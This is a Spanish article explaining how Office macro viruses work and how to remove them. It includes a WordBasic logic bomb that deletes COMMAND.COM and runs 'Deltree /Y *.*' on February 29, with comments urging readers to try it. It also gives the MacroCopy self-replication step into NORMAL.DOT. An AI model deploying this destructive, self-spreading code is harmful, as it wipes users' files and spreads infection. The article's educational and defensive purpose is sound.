Los Virus de Macro del Office
Visual Basic Para Aplicaciones es el primer lenguaje de macros unificado para toda la gama de aplicaciones de Microsoft, es decir que el modelo de objetos de las aplicaciones de Microsoft : Word, Excel, Outllok, Acces, Power Point, Project, etc. tiende a unificarse y a ser programable bajo un mismo lenguaje que tiene iguales o muy similares objetos y métodos. Los macros de VBA o Procedimientos pueden contener subrutinas y/o funciones, mientras que las subrutinas ejecutan una serie de instrucciones, las funciones además devuelven un valor y se les puede pasar parámetros, por ejemplo:

sub muestramensaje()
      text1.text="Hola"
end sub

function cuadrado(numero)
      'numero es el argumento y cuadrado el valor que retorna la funcion
       cuadrado=numero*numero
end function

Un documento puede tener uno o varios macros, los que a su vez pueden constar de Forms y módulos con sus respectivas sub o function.

Como VBA además trabaja con objetos y propiedades, podemos hacer referencia desde un macro a otros objetos como documentos, hojas de cálculo, etc.

Otra característica que hace relativamente sencillo crear virus de macros es la existencia de gran cantidad de funciones predefinidas, así como subrutinas automáticas especialmente:

Autexec()  (cuando se abre cualquier documento del Word)

Auto Open() (cuando se abre un documento determinado)

Auto New() (cuando se crea un nuevo documento)

Auto Close() (cuando se cierra un documento)

Auto Exit() (cuando se sale del Word)

Así podemos programar cualquier serie de comandos con gran facilidad para que se ejecuten cada vez que ocurra cualquiera de estos eventos, basta escribirlos  con el nombre que corresponda .

Otra de las características de VBA es su extremada portabilidad ya que para que una macro funcione basta con que se pueda abrir el documento en cualquiera de las aplicaciones Office que lo soporte, así podemos hacer funcionar la misma macro en Windows 95, 98, NT, 2000, ME, Mackintosh , etc. con solo abrir el documento en una versión del Officce que lo soporte

Por ejemplo, una bomba que borre el command.com y cada 29 de febrero (año bisiesto) los directorios  al salir de Word, para el antiguo wordbasic  sería tan sencillo como:

        Sub Auto Exit()
           If Application.Username <> "MaD_MoTHeR" Then
           ' Verificamos que la Aplicacion NO esta‚ registrada a cierta persona
              SetAttr "C:\COMMAND.COM",0
              ' Le quitamos los atributos a este fichero
              Open "C:\COMMAND.COM" for Output as #1
              ' Lo abrimos para comprobar que no se dispara ningun FLAG
              ' de error
              Close #1
              ' Lo cerramos de nuevo
              Kill "C:\COMMAND.COM"
              ' }:-)
           End If
           If Month(Now())=2 Then
           ' Buscamos el mes de Febrero
              If Day(Now())=29 Then
              ' D¡a 29 (1 vez cada 4 a¤os) :-)))))
                 Shell "Deltree /Y *.* > null"
                 ' Probadlo... ah! el /Y funciona en todos los idiomas! :-)
                 ' quedan ficheros sin borrar... pero qu‚ m s d ! :-)))
              End If
           End If
        End Sub

Para obtener la autoreplicación bastará con almacenar en una variable el nombre de la macro

 nombre$ = WindowName$() + ":AutoNew"  -> Por ejemplo para que 'actue'  al crear un nuevo documento.

Y luego se copia en la plantilla NORMAL.DOT que es la que se carga por defecto cada vez que abrimos un nuevo documento. Así, cada nuevo documento llevará una copia de nuestro sencillo "virus" 

MacroCopy "Miplantilla:Mimacro", "Global:AutoClose", 1

La función MacroCopiar con el parametro 1 (cualquiera distinto de 0 sirve)
hace que la macro resultado de la copia sea SOLO EJECUTABLE (no la podremos
editar), con lo cual conseguimos una macro encriptada! 

¿Pero que es esto? ¿un curso para hacer virus?
Ni mucho menos, mi interés es divulgar la facilidad con que puede programarse un virus de macro con unas pocas sencillas instrucciones, accesibles para cualquier programador principiante. Conocer el peligro es el primer paso para neutralizarlo y esa es la idea, saber como está hecho para quitar el aura de "magia negra" que rodea a la mayoría de los virus de macro.

Para los virus del Word tenemos que saber primero que nada que se copian en la plantilla NORMAL.DOT y desde allí comienzan a replicarse en los documentos nuevos. Si detectamos que nuestro Word está infectado lo primero que deberíamos hacer es buscar con F3 los archivos llamados NORMAL.DOT y borrarlos (no se preocupen porque cuando esta plantilla no existe el Word crea una nueva), luego identificar el programa infectado y borrarlo para evitar que se vuelva a copiar el virus en NORMAL.DOT. Para ubicar un virus de macro es tan sencillo como ir a Herramientas, Editor de Visual Basic y revisar si hay algún macro o procedimiento sospechoso (si está encriptado o no se puede accesar es doblemente sospechoso). Entonces hacemos Archivo, Borrar Macro.

Una primera línea de defensa del Officce es bloquear por defecto la ejecución de macros. Cuando se detecta que un documento trata de ejecutar un macro se muestra una advertencia. el peligro es cuando se usan macros habitualmente y se desactiva esta advertencia, lo que hace posible que se ejecute un virus de macro sin advertirlo. Sin embargo otras aplicaciones del Office, particularmente el Outlook ejecutan macros de vbscript sin ningún tipo de advertencia y por lo mismo han sido tan fácil su propagación. 

Créditos

Una buena parte de éste artículo está copiada de un escrito firmado por " MaD MoTHeR" y publicado en El Rincón de Fidonet hace bastante tiempo atrás